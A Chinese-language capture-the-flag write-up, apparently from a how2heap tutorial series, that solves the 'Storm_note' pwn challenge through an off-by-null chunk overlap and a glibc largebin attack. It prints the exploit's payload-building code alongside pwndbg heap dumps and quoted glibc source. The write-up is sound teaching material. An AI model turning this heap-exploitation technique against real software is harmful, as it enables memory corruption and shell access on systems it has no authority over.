how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
https://github.com/ble55ing/ctfpwn/blob/master/pwnable/ctf/x64/Storm_note
root@pwn_test1604:/ctf/work/how2heap/西湖论剑Storm_note# chmod +x Storm_note
root@pwn_test1604:/ctf/work/how2heap/西湖论剑Storm_note# gdb ./Storm_note
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./Storm_note...(no debugging symbols found)...done.
pwndbg> r
Starting program: /ctf/work/how2heap/西湖论剑Storm_note/Storm_note
================
== Storm Note ==
== 1. alloc ==
== 2. edit ==
== 3. delete ==
== 4. exit ==
================
Choice:
程序一开始就对进程进行初始化,mallopt(1, 0)
禁用了fastbin,然后通过mmap在0xABCD0000分配了一个页面的可读可写空间,最后往里面写入一个随机数。
首先遍历全局变量note,找到一个没有存放内容的地方保存堆指针。然后限定了申请的堆的大小最多为0xFFFFF,调用calloc函数来分配堆空间,因此返回
前会对分配的堆的内容进行清零。
存在一个off_by_null漏洞,在read后v2保存写入的字节数,最后在该偏移处的字节置为0,形成off_by_null。
这个函数就是正常free堆指针,并置0。
程序提供一个可以直接getshell的后门,触发的条件就是输入的数据与mmap映射的空间的前48个字节相同。
利用off_by_null漏洞实现chunk overlapping,从而控制堆块内容。
将处于unsortedbin的可控制的chunk放入largebin中,以便触发largebin attack
伪造largebin的bk和bk_nextsize指针,通过malloc触发漏洞,分配到目标地址,实现任意地址写。
触发后门
chunk1和chunk4是用于放入largebin的大chunk,chunk6防止top chunk合并。Chunk结构如下。
add(0x18) #0
add(0x508) #1
add(0x18) #2
add(0x18) #3
add(0x508) #4
add(0x18) #5
add(0x18) #6
pause()
[DEBUG] Received 0x84 bytes:
'Done\n'
'================\n'
'== Storm Note ==\n'
'== 1. alloc ==\n'
'== 2. edit ==\n'
'== 3. delete ==\n'
'== 4. exit ==\n'
'================\n'
'Choice: '
[DEBUG] Sent 0x2 bytes:
'2\n'
[DEBUG] Received 0x8 bytes:
'Index ?\n'
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0xa bytes:
'Content: \n'
[DEBUG] Sent 0x4f8 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
000004f0 00 05 00 00 00 00 00 00 │····│····││
000004f8
[*] Paused (press any to continue)
pwndbg> c
Continuing.
^C
Program received signal SIGINT, Interrupt.
0x00007f4fc241a260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 in ../sysdeps/unix/syscall-template.S
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x7f4fc26e78e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
RCX 0x7f4fc241a260 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x1
RDI 0x0
RSI 0x7f4fc26e7963 (_IO_2_1_stdin_+131) ◂— 0x6e9790000000000a /* '\n' */
R8 0x7f4fc26e9780 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x7f4fc2907700 ◂— 0x7f4fc2907700
R10 0x55a6e14011a5 ◂— and eax, 0x6e490064 /* '%d' */
R11 0x246
R12 0x1
R13 0xffffffffffffff98
R14 0x7f4fc26e8420 (_nl_global_locale) —▸ 0x7f4fc26e39a0 (_nl_C_LC_CTYPE) —▸ 0x7f4fc24b1997 (_nl_C_name) ◂— add byte ptr [r15 + 0x5f], bl /* 'C' */
R15 0x7f4fc26e78e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
► f 0 7f4fc241a260 __read_nocancel+7 [0/115]
f 1 7f4fc239d5e8 _IO_file_underflow+328
f 2 7f4fc239e60e _IO_default_uflow+14
f 3 7f4fc237f260 _IO_vfscanf+2528
f 4 7f4fc238e5df __isoc99_scanf+271
f 5 55a6e1401091
f 6 201621460
f 7 180f66877bd5d200
f 8 55a6e1401110
f 9 7f4fc2343830 __libc_start_main+240
f 10 55a6e1400a89
Program received signal SIGINT
pwndbg> heap
heapbase : 0x55a6e3007000
pwndbg> parseheap
addr prev size status fd bk
0x55a6e3007000 0x0 0x20 Used None None
0x55a6e3007020 0x0 0x510 Used None None
0x55a6e3007530 0x0 0x20 Used None None
0x55a6e3007550 0x0 0x20 Used None None
0x55a6e3007570 0x0 0x510 Used None None
0x55a6e3007a80 0x0 0x20 Used None None
0x55a6e3007aa0 0x0 0x20 Used None None
pwndbg>
pwndbg> parseheap
addr prev size status fd bk
0x55a6e3007000 0x0 0x20 Used None None
0x55a6e3007020 0x0 0x510 Used None None
0x55a6e3007530 0x0 0x20 Used None None
0x55a6e3007550 0x0 0x20 Used None None
0x55a6e3007570 0x0 0x510 Used None None
0x55a6e3007a80 0x0 0x20 Used None None
0x55a6e3007aa0 0x0 0x20 Used None None
用于绕过malloc检查,保护下一个chunk的prev_size不被修改。如下图所示。
edit(1,'a'*0x4f0+p64(0x500)) #prev_size
edit(4,'a'*0x4f0+p64(0x500)) #prev_size
pwndbg> x/30gx 0x55a6e3007020 +0x490
0x55a6e30074b0: 0x6161616161616161 0x6161616161616161
0x55a6e30074c0: 0x6161616161616161 0x6161616161616161
0x55a6e30074d0: 0x6161616161616161 0x6161616161616161
0x55a6e30074e0: 0x6161616161616161 0x6161616161616161
0x55a6e30074f0: 0x6161616161616161 0x6161616161616161
0x55a6e3007500: 0x6161616161616161 0x6161616161616161
0x55a6e3007510: 0x6161616161616161 0x6161616161616161
0x55a6e3007520: 0x0000000000000500 0x0000000000000000
0x55a6e3007530: 0x0000000000000000 0x0000000000000021
0x55a6e3007540: 0x0000000000000000 0x0000000000000000
0x55a6e3007550: 0x0000000000000000 0x0000000000000021
0x55a6e3007560: 0x0000000000000000 0x0000000000000000
0x55a6e3007570: 0x0000000000000000 0x0000000000000511
0x55a6e3007580: 0x6161616161616161 0x6161616161616161
0x55a6e3007590: 0x6161616161616161 0x6161616161616161
pwndbg> x/30gx 0x55a6e3007570 +0x490
0x55a6e3007a00: 0x6161616161616161 0x6161616161616161
0x55a6e3007a10: 0x6161616161616161 0x6161616161616161
0x55a6e3007a20: 0x6161616161616161 0x6161616161616161
0x55a6e3007a30: 0x6161616161616161 0x6161616161616161
0x55a6e3007a40: 0x6161616161616161 0x6161616161616161
0x55a6e3007a50: 0x6161616161616161 0x6161616161616161
0x55a6e3007a60: 0x6161616161616161 0x6161616161616161
0x55a6e3007a70: 0x0000000000000500 0x0000000000000000
0x55a6e3007a80: 0x0000000000000000 0x0000000000000021
0x55a6e3007a90: 0x0000000000000000 0x0000000000000000
0x55a6e3007aa0: 0x0000000000000000 0x0000000000000021
0x55a6e3007ab0: 0x0000000000000000 0x0000000000000000
0x55a6e3007ac0: 0x0000000000000000 0x0000000000020541
0x55a6e3007ad0: 0x0000000000000000 0x0000000000000000
0x55a6e3007ae0: 0x0000000000000000 0x0000000000000000
free(1)
edit(0,'a'*0x18) #off by null
pause()
pwndbg> parseheap
addr prev size status fd bk
0x56340ec9f000 0x0 0x20 Freed 0x61616161616161610x6161616161616161
0x56340ec9f020 0x6161616161616161 0x500 Freed 0x7f808d4f8b78 0x7f808d4f8b78
Corrupt ?! (size == 0) (0x56340ec9f520)
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x56340ec9f020 —▸ 0x7f808d4f8b78 (main_arena+88) ◂— 0x56340ec9f020
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x56340ec9f000 0x0 0x20 Freed 0x61616161616161610x6161616161616161
0x56340ec9f020 0x6161616161616161 0x500 Freed 0x7f808d4f8b78 0x7f808d4f8b78
Corrupt ?! (size == 0) (0x56340ec9f520)
先将0x20的chunk释放掉,然后释放chunk2,这时触发unlink。
add(0x18) #1
add(0x4d8) #7
free(1)
free(2) #overlap
pwndbg> parseheap
addr prev size status fd bk
0x558a6cd7c000 0x0 0x20 Used None None
0x558a6cd7c020 0x6161616161616161 0x530 Freed 0x7fa9f62ffb78 0x7fa9f62ffb78
0x558a6cd7c550 0x530 0x20 Used None None
0x558a6cd7c570 0x0 0x510 Used None None
0x558a6cd7ca80 0x0 0x20 Used None None
0x558a6cd7caa0 0x0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x558a6cd7c020 —▸ 0x7fa9f62ffb78 (main_arena+88) ◂— 0x558a6cd7c020
smallbins
empty
largebins
empty
pwndbg>
pwndbg> parseheap
addr prev size status fd bk
0x558a6cd7c000 0x0 0x20 Used None None
0x558a6cd7c020 0x6161616161616161 0x530 Freed 0x7fa9f62ffb78 0x7fa9f62ffb78
0x558a6cd7c550 0x530 0x20 Used None None
0x558a6cd7c570 0x0 0x510 Used None None
0x558a6cd7ca80 0x0 0x20 Used None None
0x558a6cd7caa0 0x0 0x20 Used None None
free(4)
edit(3,'a'*0x18) #off by null
add(0x18) #4
add(0x4d8) #8
free(4)
free(5) #overlap
add(0x40) #4
edit(8, 'aaaa')
addr prev size status fd bk
0x5564e0dfc000 0x0 0x20 Used None None
0x5564e0dfc020 0x6161616161616161 0x40 Used None None
0x5564e0dfc060 0x0 0x4f0 Used None None
0x5564e0dfc550 0x0 0x20 Used None None
0x5564e0dfc570 0x6161616161616161 0x50 Used None None
0x5564e0dfc5c0 0x0 0x4e0 Freed 0x7f45f673eb78 0x7f45f673eb78
0x5564e0dfcaa0 0x4e0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5564e0dfc5c0 —▸ 0x7f45f673eb78 (main_arena+88) ◂— 0x5564e0dfc5c0
smallbins
empty
largebins
empty
pwndbg>
addr prev size status fd bk
0x5564e0dfc000 0x0 0x20 Used None None
0x5564e0dfc020 0x6161616161616161 0x40 Used None None
0x5564e0dfc060 0x0 0x4f0 Used None None
0x5564e0dfc550 0x0 0x20 Used None None
0x5564e0dfc570 0x6161616161616161 0x50 Used None None
0x5564e0dfc5c0 0x0 0x4e0 Freed 0x7f45f673eb78 0x7f45f673eb78
0x5564e0dfcaa0 0x4e0 0x20 Used None None
下面是glibc判断
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//从第一个unsortedbin的bk开始遍历
{
bck = victim->bk;
size = chunksize (victim);
if (in_smallbin_range (nb) &&//<_int_malloc+627>
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小
{remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);...}//将选中的chunk剥离出来,恢复unsortedbin
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck; //largebin attack
//注意这个地方,将unsortedbin的bk设置为victim->bk,如果我设置好了这个bk并且能绕过上面的检查,下次分配就能将target chunk分配出来
if (size == nb)//size相同的情况同样正常分配
if (in_smallbin_range (size))//放入smallbin
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else//放入large bin
{
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;//fd_nextsize指向比当前chunk小的下一个chunk
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else// 插入
{
//解链操作,nextsize只有largebin才有
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
//解链操作2,fd,bk
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
//fwd->bk->fd=victim
大概意思就是说我们申请堆块时,glibc会从unsorted bin末尾开始遍历,倘若遍历到不符合我们的要求大小,那么系统会做sorted——重新把这个free chunk放入small bin或large bin中。
free(2) #unsortedbin-> chunk2 -> chunk5(0x4e0)which size is largebin FIFO
add(0x4e8) #put chunk5(0x4e0) to largebin
free(2) #put chunk2 to unsortedbin
第一个0x4e0,第二个0x4f0。当我申请一个0x4e8的chunk时,首先找到0x4e0的chunk,太小了不符合调件,于是将它拿出unsorted bin,放入large bin。在放入large bin时就会进行两步解链操作,两个解链操作的最后一步是关键。
pwndbg> parseheap
addr prev size status fd bk
0x55812f375000 0x0 0x20 Used None None
0x55812f375020 0x6161616161616161 0x40 Used None None
0x55812f375060 0x0 0x4f0 Freed 0x7f3f63abeb78 0xabcd00e8
0x55812f375550 0x4f0 0x20 Used None None
0x55812f375570 0x6161616161616161 0x50 Used None None
0x55812f3755c0 0x0 0x4e0 Freed 0x0 0x55812f375060
0x55812f375aa0 0x4e0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55812f375060 —▸ 0x7f3f63abeb78 (main_arena+88) ◂— 0x55812f375060
BK: 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55812f3755c0 ◂— 0x0
BK: 0x55812f3755c0 —▸ 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
pwndbg>
[0] 0:[tmux]*
可以看到从unsorted bin->bk开始遍历,第一个的size < nb因此就会放入large bin,继续往前遍历,找到0x4f0的chunk,刚好满足size==nb,因此将其分配出来。最后在free(2)将刚刚分配的chunk2再放回unsorted bin,进行第二次利用。
pwndbg> parseheap
addr prev size status fd bk
0x55812f375000 0x0 0x20 Used None None
0x55812f375020 0x6161616161616161 0x40 Used None None
0x55812f375060 0x0 0x4f0 Freed 0x7f3f63abeb78 0xabcd00e8
0x55812f375550 0x4f0 0x20 Used None None
0x55812f375570 0x6161616161616161 0x50 Used None None
0x55812f3755c0 0x0 0x4e0 Freed 0x0 0x55812f375060
0x55812f375aa0 0x4e0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55812f375060 —▸ 0x7f3f63abeb78 (main_arena+88) ◂— 0x55812f375060
BK: 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55812f3755c0 ◂— 0x0
BK: 0x55812f3755c0 —▸ 0x55812f375060 —▸ 0xabcd00e8 ◂— 0xd87516f1d3dfadda
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20
payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7, payload)
pwndbg> parseheap
addr prev size status fd bk
0x56119bc94000 0x0 0x20 Used None None
0x56119bc94020 0x6161616161616161 0x40 Used None None
0x56119bc94060 0x0 0x4f0 Freed 0x0 0xabcd00e0
0x56119bc94550 0x4f0 0x20 Used None None
0x56119bc94570 0x6161616161616161 0x50 Used None None
0x56119bc945c0 0x0 0x4e0 Freed 0x7f00307d0f98 0x7f00307d0f98
0x56119bc94aa0 0x4e0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56119bc94060 ◂— 0x0
BK: 0x56119bc94060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56119bc94060 ◂— 0x0
BK: 0x56119bc94060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap
edit(8, payload2)
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56221cde2060 ◂— 0x0
BK: 0x56221cde2060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x56221cde25c0 ◂— 0x0
BK: 0x56221cde25c0 —▸ 0xabcd00e8 ◂— 0x20f66af60f3e024
pwndbg>
[0] 0:gdb*
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x56221cde2060 ◂— 0x0
BK: 0x56221cde2060 —▸ 0xabcd00e0 ◂— 0x0
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x56221cde25c0 ◂— 0x0
BK: 0x56221cde25c0 —▸ 0xabcd00e8 ◂— 0x20f66af60f3e024
再回顾一下两个解链操作。
else// 插入
{
//解链操作,nextsize只有largebin才有
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
//解链操作2,fd,bk
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
//fwd->bk->fd=victim
这里情况很复杂,需要耐心把每一步链表的操作搞明白,才能理解它的原理。首先victim指的是处在unsorted bin中的堆块,fwd是large bin中的堆块。
victim->bk = fake_chunk
fwd->bk = fake_chunk+8
fwd->bk_nextsize=fake_chunk-0x18-5
通过解链操作1,我们能得到:
victim->fd_nextsize=fwd
victim->bk_nextsize=fake_chunk-0x18-5
fwd->bk_nextsize=victim
victim->bk_nextsize->fd_nextsize=fake_chunk-0x18-5+0x20=fake_chunk+3=victim
通过解链操作2,我们能得到:
victim->bk = bck = fwd->bk = fake_chunk+ 8
victim->fd = largbin_entry
fwd->bk = victim
bck->fd = (fake_chunk +8)->fd = victim
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55fca1d77060 —▸ 0x7fb45a4afb78 (main_arena+88) ◂— 0x55fca1d77060
BK: 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55fca1d775c0 ◂— 0x0
BK: 0x55fca1d775c0 —▸ 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4
victim: 0x55fca1d77060
victim->fd=largebin 0x7fb45a4afb78
victim->bk=fake_chunk+8
pwndbg> x/10gx 0xabcd00e8
0xabcd00e8: 0x0000000000000055 0x00007f4a97feeb78
0xabcd00f8: 0x0000556969c18060 0xef7b8e8ded4b1ddb
0xabcd0108: 0x24f263948da138ca 0xc5a1c6bfb9d3a03f
0xabcd0118: 0x3640cee1534713e0 0x4a2fe9c007d22040
0xabcd0128: 0x68f9080bf5bc891c 0x0000000000000000
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55fca1d77060 —▸ 0x7fb45a4afb78 (main_arena+88) ◂— 0x55fca1d77060
BK: 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4
smallbins
empty
largebins
0x4c0 [corrupted]
FD: 0x55fca1d775c0 ◂— 0x0
BK: 0x55fca1d775c0 —▸ 0x55fca1d77060 —▸ 0xabcd00e8 ◂— 0x6bd2016fae036ca4
因为fake_chunk-5处会写入victim的地址,开启地址随机化的开头地址是0x55或0x56,所以fake_chunk的size位是0x55或0x56。
当_int_malloc返回之后会进行如下检查。
其中宏定义如下。
0x55&0x2=0,绕不过检查,所以只有size为0x56时,我们才能申请到0xabcd0100-0x20处的堆块。
add(0x48)
payload = p64(0) * 2 + p64(0) * 6
edit(2, payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)
申请到目标堆块后,将0Xabcd0100处的随机数改为0,触发后门。
【PWN】how2heap | 狼组安全团队公开知识库